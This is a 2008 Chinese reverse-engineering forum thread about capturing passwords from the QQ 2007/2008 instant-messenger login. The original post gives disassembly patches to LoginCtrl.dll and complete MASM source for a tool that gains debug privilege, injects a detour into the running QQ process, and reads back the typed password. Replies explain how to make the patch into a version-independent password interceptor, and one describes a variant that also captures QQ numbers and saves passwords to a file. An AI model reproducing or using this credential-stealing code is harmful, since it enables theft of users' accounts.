首页
社区
课程
招聘
[原创]修改QQ执行顺序,获取QQ2008最新版密码
发表于: 2008-3-20 10:28 55258

[原创]修改QQ执行顺序,获取QQ2008最新版密码

2008-3-20 10:28
55258

本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢.

标 题: 修改QQ执行顺序,获取QQ2008最新版密码
作 者: sLtYJ(4stone)
版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢!

参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可.

列出2007办部分修改后的代码:
021A638A  |> /43            /INC EBX
021A638B  |. |6A 01         |PUSH 1
021A638D  |. |8BC3          |MOV EAX, EBX
021A638F  |. |0FAFC6        |IMUL EAX, ESI
021A6392     |8A4C08 FF     MOV CL, BYTE PTR DS:[EAX+ECX-1]
021A6396     |E9 4F240100   JMP LoginCtr.021B87EA  //修改点,跳至空白点
021A639B     |90            NOP
021A639C     |90            NOP
021A639D     |90            NOP
021A639E     |90            NOP
021A639F     |90            NOP
021A63A0  |. |50            |PUSH EAX
021A63A1     |884D D4       MOV BYTE PTR SS:[EBP-2C], CL
021A63A4     |E8 4AD30000   CALL LoginCtr.021B36F3
021A63A9  |. |8B57 44       |MOV EDX, DWORD PTR DS:[EDI+44]
021A63AC  |. |83C4 0C       |ADD ESP, 0C
021A63AF  |. |8B0A          |MOV ECX, DWORD PTR DS:[EDX]
021A63B1  |. |8B72 0C       |MOV ESI, DWORD PTR DS:[EDX+C]
021A63B4  |. |8B41 F8       |MOV EAX, DWORD PTR DS:[ECX-8]
021A63B7  |. |99            |CDQ
021A63B8  |. |F7FE          |IDIV ESI
021A63BA     |3BD8          CMP EBX, EAX
021A63BC    ^\7C CC         JL SHORT LoginCtr.021A638A

补上自己的代码:
021B87EA      52            PUSH EDX
021B87EB      BA 56CC1200   MOV EDX, 12CC56
021B87F0      03D3          ADD EDX, EBX    //借用QQ程序本身的EBX计数器
021B87F2      36:880A       MOV BYTE PTR SS:[EDX], CL   //向12CC56开始逐个写入密码
021B87F5      5A            POP EDX
021B87F6      8D45 D4       LEA EAX, DWORD PTR SS:[EBP-2C]
021B87F9      50            PUSH EAX
021B87FA      8D85 58FFFFFF LEA EAX, DWORD PTR SS:[EBP-A8]
021B8800    ^ E9 9BDBFEFF   JMP LoginCtr.021A63A0  //跳回原处继续执行
021B8805      90            NOP

用ASM代码实现如下:

GetQQpwd.Asm

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Dialog.asm
; 对话框资源使用的模板代码
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include GetQQpwd.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
StrLen PROC uses edi String:DWORD
mov edi,String
mov al,0
mov ecx,0FFFFFFFFh
repne scasb
sub ecx,0FFFFFFFFh
neg ecx
dec ecx
mov eax,ecx
ret
StrLen ENDP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 权限提升
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKEN_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
invoke LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
mov tkp.PrivilegeCount, 1
xor eax, eax

.if bFlags
mov eax, SE_PRIVILEGE_ENABLED
.endif

mov tkp.Privileges.Attributes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax

ret
_EnablePrivilege endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcTimer proc uses ebx edi esi _hWnd,_uMsg,_idEvent,_dwTime

.if !hQQ
invoke FindWindowA,ctxt("#32770"),ctxt("QQ用户登录")
.if eax
invoke GetWindowThreadProcessId,eax,addr QQpid
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,QQpid
mov hQQ,eax
invoke SetWindowText,hWinMain,ctxt("QQ已启动-请输入密码并点登录")
invoke CreateToolhelp32Snapshot,TH32CS_SNAPALL,QQpid
mov hSnapShot,eax
mov myModule.dwSize, sizeof myModule
invoke Module32First,hSnapShot,addr myModule
jmp Cmp1
NextModule:
invoke Module32Next,hSnapShot,addr myModule
Cmp1:
invoke lstrcmp,addr myModule.szModule,ctxt("LoginCtrl.dll")
cmp eax,0
jnz NextModule
mov ebx,myModule.modBaseAddr
add ebx,16396h;2008:16DE0h,2007:16396h
invoke ReadProcessMemory,hQQ,ebx,addr dbOldBytes,2,NULL
mov ax,word ptr dbOldBytes
.if ax == word ptr db2007
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched1,10,NULL
add ebx,12454h;2008:134EAh 2007:12454h
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched2,28,NULL
invoke WriteProcessMemory,hQQ,12B000h,0,16,NULL
.elseif ax == word ptr db2008
add ebx,0A4Ah
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched3,10,NULL
add ebx,134EAh
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched4,27,NULL
invoke WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
.endif
.endif
.else
invoke ReadProcessMemory,hQQ,12B000h,addr QQpwd,sizeof QQpwd,NULL
invoke StrLen,addr QQpwd
.if eax
invoke SetDlgItemText,hWinMain,IDC_EDT1,addr QQpwd
invoke WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
.endif
invoke FindWindow,ctxt("#32770"),ctxt("QQ用户登录")
.if !eax
mov hQQ,0
invoke SetWindowText,hWinMain,ctxt("QQ未运行")
.endif
.endif
ret

_ProcTimer endp
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam

mov eax,wMsg
.if eax == WM_COMMAND
mov eax,wParam
.if ax == IDC_btExit
invoke EndDialog,hWnd,NULL
.endif
.elseif eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke LoadIcon,hInstance,ICO_MAIN
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke SetTimer,NULL,NULL,1000,addr _ProcTimer
mov idTimer,eax
push hWnd
pop hWinMain
invoke _EnablePrivilege,ctxt("SeDebugPrivilege"), TRUE
invoke SendDlgItemMessage,hWnd,IDC_EDT1,EM_SETREADONLY,TRUE,0
invoke SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (89)
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
2
呵呵,我试了下,在我的QQ2008 贺岁版(8.0.714.201) 不起作用。
2008-3-20 10:56
0
雪    币: 209
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
怎么老是喜欢干这个呢?
发出来除了被非法利用还有其他用途吗?
2008-3-20 10:57
0
雪    币: 423
活跃值: (2689)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
4
请问你机子上是否安装了瑞星密码保险箱之类的软件?
2008-3-20 11:56
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
真的很不错呢
2008-3-20 12:03
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
6
我的机器没有装任何杀毒软件和防御体系软件。我把这个文件传给你看看。
LoginCtrl.rar
上传的附件:
2008-3-20 12:06
0
雪    币: 423
活跃值: (2689)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=combojiang;430645]我的机器没有装任何杀毒软件和防御体系软件。我把这个文件传给你看看。
LoginCtrl.rar[/QUOTE]

LoginCtrl.dll和我的是一样的,我这里没什么问题啊.
你可以试一下这个版本,加了各个操作的错误提示.看哪个步骤出错了.
上传的附件:
2008-3-20 12:28
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
8
同样不起作用。。。
2008-3-20 12:28
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
2008 8.0.714.201下测试成功
2008-3-20 12:50
0
雪    币: 423
活跃值: (2689)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
10
输完密码大家有点登录吗?要点登录才能截倒密码的..
2008-3-20 12:50
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
11
嗯,用了 GetQQpwd-Debug.rar 版本,运行期间,没有错误提示。输入密码点击登陆后,贴图如下:
上传的附件:
2008-3-20 13:05
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
12
嗯,用了 GetQQpwd-Debug.rar 版本,运行期间,没有错误提示。输入密码点击登陆后,贴图如下:

这样的情况在我用的机子上也有,我用的是深度的XP sp2,没有任何杀软和防护软件.
2008-3-20 13:45
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
13
以下是我的qq加载LoginCtrl.dll模块关键代码

01966DD4    43              /inc     ebx
01966DD5    6A 01           |push    1
01966DD7    8BC3            |mov     eax, ebx
01966DD9    0FAFC6          |imul    eax, esi
01966DDC    8A4C08 FF       |mov     cl, byte ptr [eax+ecx-1]
01966DE0    8D45 D4         |lea     eax, dword ptr [ebp-2C]
01966DE3    50              |push    eax
01966DE4    8D85 58FFFFFF   |lea     eax, dword ptr [ebp-A8]
01966DEA    50              |push    eax
01966DEB    884D D4         |mov     byte ptr [ebp-2C], cl
01966DEE    E8 90E00000     |call    01974E83
01966DF3    8B57 44         |mov     edx, dword ptr [edi+44]
01966DF6    83C4 0C         |add     esp, 0C
01966DF9    8B0A            |mov     ecx, dword ptr [edx]
01966DFB    8B72 0C         |mov     esi, dword ptr [edx+C]
01966DFE    8B41 F8         |mov     eax, dword ptr [ecx-8]
01966E01    99              |cdq
01966E02    F7FE            |idiv    esi
01966E04    3BD8            |cmp     ebx, eax
01966E06  ^ 7C CC           \jl      short 01966DD4
2008-3-20 14:08
0
雪    币: 107
活跃值: (1683)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
14
没什么用 还要输入才能截获到
2008-3-20 14:25
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
15
最后友情提示,算法上稍作改进:

1. 找到模块LoginCtrl.dll基地址后,在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
    0x8A4C08FF,找到后,便找到了
01966DDC    8A4C08 FF       |mov     cl, byte ptr [eax+ecx-1]。其地址加1的位置就是你开始detour的起始地址,为了方便描述,我们成为Address1.

2。查找模块空隙,还是在在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
   0000 0000,找到后,便找到了空隙位置。为了方便描述,我们成为Address2.

3. 将Address1开始的10个子节拷贝出来,并把该处替换为跳转到Address2的跳转指令和nop填充这10个字节。
01966DE0    8D45 D4         |lea     eax, dword ptr [ebp-2C]
01966DE3    50                  |push    eax
01966DE4    8D85 58FFFFFF   |lea     eax, dword ptr [ebp-A8]

4。在address2处,将截获密码的处理程序写入,并在最后写入原address1拷贝出来的10个字节指令,然后填写一个跳转到Address1+10的jmp指令。

这样,基本就算是一个通用版本的密码截获器了。
2008-3-20 14:31
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
7.0.302.232 无效
2008-3-20 14:41
0
雪    币: 218
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
read pwd error
2008-3-20 15:18
0
雪    币: 423
活跃值: (2689)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
18
非常感谢您的指导...一会我加工一下,谢谢.
2008-3-20 15:18
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
不太懂汇编呀 用Delphi写个测试程序.. 没加壳 .

代码只做小部分修改 就不公布了  原理同上  

这个我测试可以兼容07 /08

部分版本..

同时可以取得QQ号码

上传附件时候忘记把保存QQ密码功能去了

会保存在 \WINDOWS\systems.ini 里 注意清理下...
上传的附件:
2008-3-22 01:08
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
我这里成功了。最新版q
学习了。。。。
2008-3-22 03:59
0
雪    币: 1216
活跃值: (5109)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
21
2008-3-23 00:00
0
雪    币: 1216
活跃值: (5109)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
请问如何找改了QQ的标题的地方,我找不到设置类名的API(在QQ.EXE里找),不知是不是“Dialog”的原因。。。
我想,如果改了标题,可能会安全点吧。。。。。
2008-3-23 02:26
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
好象是在 LoginCtrlRes.dll 的资源文件里

改了名字也还是有办法找到的呀
2008-3-23 08:59
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
怎么用?

好像不行啊。
2008-3-23 09:43
0
雪    币: 186
活跃值: (15)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
25
[QUOTE=;]...[/QUOTE]
01462A02  |> /43            /inc     ebx
01462A03  |. |6A 01         |push    1                                             ; /Arg3 = 00000001
01462A05  |. |8BC3          |mov     eax, ebx                                      ; |
01462A07  |. |0FAFC6        |imul    eax, esi                                      ; |
01462A0A  |. |8A4C08 FF     |mov     cl, byte ptr [eax+ecx-1]                      ; |
01462A0E  |. |8D45 D4       |lea     eax, dword ptr [ebp-2C]                       ; |
01462A11  |. |50            |push    eax                                           ; |Arg2
01462A12  |. |8D85 58FFFFFF |lea     eax, dword ptr [ebp-A8]                       ; |
01462A18  |. |50            |push    eax                                           ; |Arg1
01462A19  |. |884D D4       |mov     byte ptr [ebp-2C], cl                         ; |
01462A1C  |. |E8 32BD0000   |call    0146E753                                      ; \LoginCtr.1001E753
01462A21  |. |8B57 44       |mov     edx, dword ptr [edi+44]
01462A24  |. |83C4 0C       |add     esp, 0C
01462A27  |. |8B0A          |mov     ecx, dword ptr [edx]
01462A29  |. |8B72 0C       |mov     esi, dword ptr [edx+C]
01462A2C  |. |8B41 F8       |mov     eax, dword ptr [ecx-8]
01462A2F  |. |99            |cdq
01462A30  |. |F7FE          |idiv    esi
01462A32  |. |3BD8          |cmp     ebx, eax
01462A34  |.^\7C CC         \jl      short 01462A02
01462A36  |> \8D85 58FFFFFF lea     eax, dword ptr [ebp-A8]

01462A0A  |.  8A4C08 FF     |mov     cl, byte ptr [eax+ecx-1]
这一句下断就能看见密码了,只不过中间夹杂着垃圾字符....
2008-3-23 20:39
0
游客
登录 | 注册 方可回帖
返回
//